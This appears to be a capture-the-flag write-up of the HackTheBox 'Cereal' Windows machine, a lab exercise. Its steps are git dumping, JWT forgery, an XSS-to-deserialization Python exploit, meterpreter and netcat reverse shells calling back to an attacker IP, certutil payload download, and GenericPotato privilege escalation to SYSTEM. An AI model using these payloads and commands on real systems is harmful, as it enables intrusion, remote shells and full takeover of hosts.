HacktheBox Cereal WriteUp

Jim Solomon
8 min readMay 29, 2021

Overview:

Cereal is a fairly tough windows machine in HacktheBox but it’s awesome. First it comes with an exposed git repository on the web server that allows us to dump it and recover these incomplete files, Then by looking these files you will find SSRF with XSS vulnerability by create a jwt token with the secret provided, use method of json deserialization on the uploadhelper object to create a payload then built a python script to upload a aspx reverse shell. After got into the machine there is a SeImpersonatePrivilege enabled and a port 8080, after forwarded the port there is a vulnerable /api/graphql callable function that allows SSRF, With the SeImpersonatePrivilege that we can use an updated version GenericPotato to escalate privilege to Administrator. With all that being said, Let’s just jump in!

Reconnaissance:

┌─[eu-vip-3]─[10.10.14.7]─[root@parrot]─[~/htb/boxes/cereal]
└──╼ [★]$ nmap -sC -sV -oN sc -vvv 10.10.10.217
Nmap scan report for cereal.htb (10.10.10.217)
Host is up, received syn-ack ttl 127 (0.17s latency).
Scanned at 2021-05-26 03:30:33 EDT for 34s
Not shown: 997 filtered ports
Reason: 997 no-responses
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 127 OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 08:8e:fe:04:8c:ad:6f:df:88:c7:f3:9a:c5:da:6d:ac (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJ8WunqAHy9aWMuwZtw8rYXPpcWFOamTOdxvUDuFEzyvemSH8H8aPN3xVb8qhv6ZvSLW7gEDyNcu/+vPKo+G+Vy9sKyaFFdk7FiDgCIqnx5UyxPjZxBu6QxES8FndXmHoS3vifHcxBS3Y/e1Bx0MTLVfhWmBx7lJRpR4R7WHDgJ19yBsnB5921vNpVpSTzPV8eQI2lukoY/UMeatTLsB4SHqEljrUp3phY8YY6MH
AWyVE0Ofp2xCiKhFwzfcl/kMEPSplrerse9MFCfpmD571vvzXiC9TKPajPdceVxKXJiBq6YjFE9gnBdmiiBVnGNZ735wiQe13GGvmEk9tuPAat
| 256 fb:f5:7b:a1:68:07:c0:7b:73:d2:ad:33:df:0a:fc:ac (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOv2yzt3CGzoXPn56DcYScZq9TapkXkNCTez76ygDDwAKBREa325DDx6ZDd99qtntl28Gzi1mZAfntdNulXmxqI=
| 256 cc:0e:70:ec:33:42:59:78:31:c0:4e:c2:a5:c9:0e:1e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINFh4uMa9OjCINZ7M6/DSRhceOcHRP+n6o+py/ERV5fm
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://cereal.htb/
443/tcp open ssl/http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-favicon: Unknown favicon MD5: 1A506D92387A36A4A778DF0D60892843
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Cereal
| ssl-cert: Subject: commonName=cereal.htb
| Subject Alternative Name: DNS:cereal.htb, DNS:source.cereal.htb
| Issuer: commonName=cereal.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-11-11T19:57:18
| Not valid after: 2040-11-11T20:07:19
| MD5: 8785 41e5 4962 7041 af57 94e3 4564 090d
| SHA-1: 5841 b3f2 29f0 2ada 2c62 e1da 969d b966 57ad 5367
| -----BEGIN CERTIFICATE-----
| MIIDLjCCAhagAwIBAgIQYSvrrxz65LZHzBcVnRDa5TANBgkqhkiG9w0BAQsFADAV
| MRMwEQYDVQQDDApjZXJlYWwuaHRiMB4XDTIwMTExMTE5NTcxOFoXDTQwMTExMTIw
| MDcxOVowFTETMBEGA1UEAwwKY2VyZWFsLmh0YjCCASIwDQYJKoZIhvcNAQEBBQAD
| ggEPADCCAQoCggEBAMoaGpaAR2ALY//K4WkfjOPTXqfzIPio6lQpS2NOG9yMlDVT
| dYeFRwRyAxqgkGfNVchuKjnyc9BeJqILLyYDn5aK7/pIKc7bAPTs7B2YQpQXUTmH
| nVuP0JHMhflzDCMigr5XuZ7/xXh2fZbSantK/1PqeilClmjunoNBTsFHhNrb7XfK
| 2fwQDB0QS8TvLmcVKwx+qGt8Mtod165LUe6LPc1dK8tO5AxVGFoqE9w7jDa+QwK8
| eCazu5S7AV9TvInJrniz58fZ8zbJB4c2CQOB6BtFF9f3tft4pjAlToDifVZ0BMEl
| uTwpZFc8YxXNb0taTWSBTIpowL3RhZ3zmlmsebkCAwEAAaN6MHgwDgYDVR0PAQH/
| BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAoBgNVHREEITAf
| ggpjZXJlYWwuaHRighFzb3VyY2UuY2VyZWFsLmh0YjAdBgNVHQ4EFgQU6pyk6xnL
| i8gMA3lTOcCaV3zlFP8wDQYJKoZIhvcNAQELBQADggEBAAUQw2xrtdJavFiYgfl8
| NN6fA0jlyqrln715AOipqPcN6gntAynC378nP42nr02cQCoBvXK6vhmZKeVpviDv
| pO9udH/JB0sKmCFJC5lQ3sHnxSUExBk+e3tUpiGGgKoQnCFRRBEkOTE3bI0Moam9
| Hd1OD32cp6uEmY7Nzhb6hYkR3S/MeYH78PvFZ430gLCFohc7aqimngSohAz8f+xc
| rS352J9a3+0TemS1KduwC/KFFG0o3ItDJSj4ypq9B6x2HGstfzmKzGqIu74Z5tXu
| guCIa2Jau8OdQ7K6aiPn39W+EnFLUQAMHqq7TZpxTb1SkV3hoVNvh63nxC1wyDrL
| iy0=
|_-----END CERTIFICATE-----
|_ssl-date: 2021-05-26T07:38:05+00:00; +6m59s from scanner time.
| tls-alpn:
|_ http/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 6m58s
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
:

Nmap has shown two sub-domains cereal.htb and source.cereal.htb, Add them to /etc/hosts file then head over to port 80.

Looks like a backend server, Let’s run dirsearch to find out what directories it has.

apt install dirsearchdirsearch -u https://source.cereal.htb -e asp,txt.php

The Foothold:

Notice there is a /.git directory and can see someone committed something to their git, Therefore, we can try dump the repository on the server.

Use a tool below from github to dump the git repository.

After dump the repository we need to extract to recover incomplete files.

Found a file in below’s directory that has a jwt secret.

UserService.cs in Service folder.

secretlhfIH&FY*#oysuflkhskjfhefesf

And in AdminPage.jsx there is a XSS vulnerability that allows perform a SSRF and to trigger the deserialization.

Vulnerability details can find in below’s blog.

PS: What is SSRF

And In 1–3a23ffe921530036a4e0c355e6c8d1d4029cb728/Controller/sRequestsController.cs there is a vulnerability of serialization but we can’t used ysoserial because below code blocks it but we can use deserialization of the DownloadHelper object to upload aspx reverse shell.

To do all that:

  1. Firstly is to use a jwt web token toolkit from github and try to create a token using the secret we found before.
python3 jwt_tool.py -b -S hs256 -p 'secretlhfIH&FY*#oysuflkhskjfhefesf' $(echo -n '{"alg":"HS256","typ":"JWT"}' | base64).$(echo -n '{"name": "1", "exp":' `date -d "+7 days" +%s`} | base64 -w0).eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMSIsImV4cCI6MTYyMjcxNTU1Mn0.sEtJDb0TgyzWw39gYXaAs_IX3951tz-t2EkHJUIhs5M

2. Download below shell.aspx and remember to change IP and port, I tried to create shell.aspx by msfvenom using below two payloads but they didn’t work.

https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx

windows/meterpreter/reverse_tcpwindows/shell/reverse_tcp
//Did not work

3. Create Deserialization payload in C# like below and can craft to below payload.

Cereal.DownloadHelper dh = new Cereal.DownloadHelper
{
URL = "https://source.cereal.htb/upload/shell.aspx",
FilePath = "shell.aspx",
};

string json = JsonConvert.SerializeObject(dh, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.All
});
Console.WriteLine(json);
//Crafted to below's payload:
{
"$type":"Cereal.DownloadHelper, Cereal","URL":"http://<ip>/shell.aspx","FilePath":"c:/inetpub/source/uploads/shell.aspx"}

4. Now let’s build a python script in order to upload the reverse aspx shell.

import requests
from urllib3.exceptions import InsecureRequestWarning
import base64
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)jwt_token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMSIsImV4cCI6MTYyMjcyMjE5NX0.y20kZ5M061O6QOGpbQqpjIjSvmf1knzX45TitbfSygM'
local_ip = ''
URL = 'https://cereal.htb/requests'js_payload = """var jwt_token = '"""+jwt_token+ """';
targeturl = 'https://cereal.htb/requests';
req = new XMLHttpRequest;
var payload = JSON.stringify({"json": '{"$type":"Cereal.DownloadHelper, Cereal","URL":"http://"""+local_ip+"""/shell.aspx","FilePath":"C:/inetpub/source/uploads/shell.aspx"}'});
req.onreadystatechange = function() {
if (req.readyState == 4) {
var id = JSON.parse(this.responseText).id;
//console.log(id)
req2 = new XMLHttpRequest;
req2.open('GET', targeturl + "/" + id, false);
req2.setRequestHeader("Authorization", "Bearer " + jwt_token);
req2.send();
}
}
req.open('POST', targeturl, false);
req.setRequestHeader("Authorization", "Bearer " + jwt_token);
req.setRequestHeader('Content-type', 'application/json');
req.send(payload);"""
js_payload_b64 = base64.b64encode(js_payload.encode('utf-8'))
payload = {'json': '{"title":"[XSS](javascript: eval(atob(%22' + js_payload_b64.decode('utf-8') + '%22%29%29)", "flavor":"x", "color":"#FFF", "description":"x"}'}
headers = {'Authorization': 'Bearer ' + jwt_token}
print("shending payload: " + str(payload))
r = requests.post(URL, headers=headers, json=payload, verify=False)
print(r.text)
python upload.pypython3 -m http.server 80rlwarp nc -nvlp 443Waiting for source.cereral to hit the python3 server then trigger it bycurl https://source.cereal.htb/uploads/shell.aspx -k

PriEsc to Administrator:

There is a SeImpersonatePrivilege enabled. However, Juicy potato attack is not going to work. So, Let’s start checking more information.

Check listening ports and there is 8080 port running, I’m going to forward this port by msfconsole.

use exploit /multi/handler
set payload windows/meterpreter/reverse_tcp //important otherwise it won't open the meterpreter session!!
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=9003 -f exe > rev.exe  // Create a meterpreter payload
certutil -urlcache -f http://10.10.14.7/rev.exe rev.exe //use certutil to download the rev.exe

Download and run the rev.exe

portfwd add -l 8081 -p 8080 -r localhost

Went to localhost:8081 and it showed a page, Let’s look at the source code.

It uses graphql api and I’m going to use a burp graphql extension to analyze it, Instructions of installation can be found below github’s link.

Below is a blog of GraphQL API

Used InQL scanner I found this callable function is vulnerable to SSRF, we can use SSRF with SeImpersonatePrivilege to escalate privilege.

There is a updated version of juicy potato called GenericPotato can perform that attack. Quoted from the Github page.

A modified version of SweetPotato by @EthicalChaos to support impersonating authentication over HTTP and/or named pipes. This allows for local privilege escalation from SSRF and/or file writes.

But you need compile it by C#, you can download the pre-compiled file in here

And download nc64.exe as well

Download GenericPotato.exe,nc64.exe and NtApiDotNet.xml to cereal machine

.\GenericPotato.exe -p "c:\Users\sonny\Desktop\nc64.exe" -a "10.10.14.7 443 -e powershell" -e HTTP -l 8889rlwarp nc -nvlp 443

Trigger it by

curl -k -X "POST" -H "Content-Type: application/json" --data-binary '{"query":"mutation{updatePlant(plantId:2, version:2.2, sourceURL:\"http://localhost:8889\")}"}' 'http://localhost:8081/api/graphql'

Boom! We are now the nt authority\system

--

--

Jim Solomon

Christian, Studying Cyber Security and Digital Forensics, Security Consultant at 12security.com | OSCP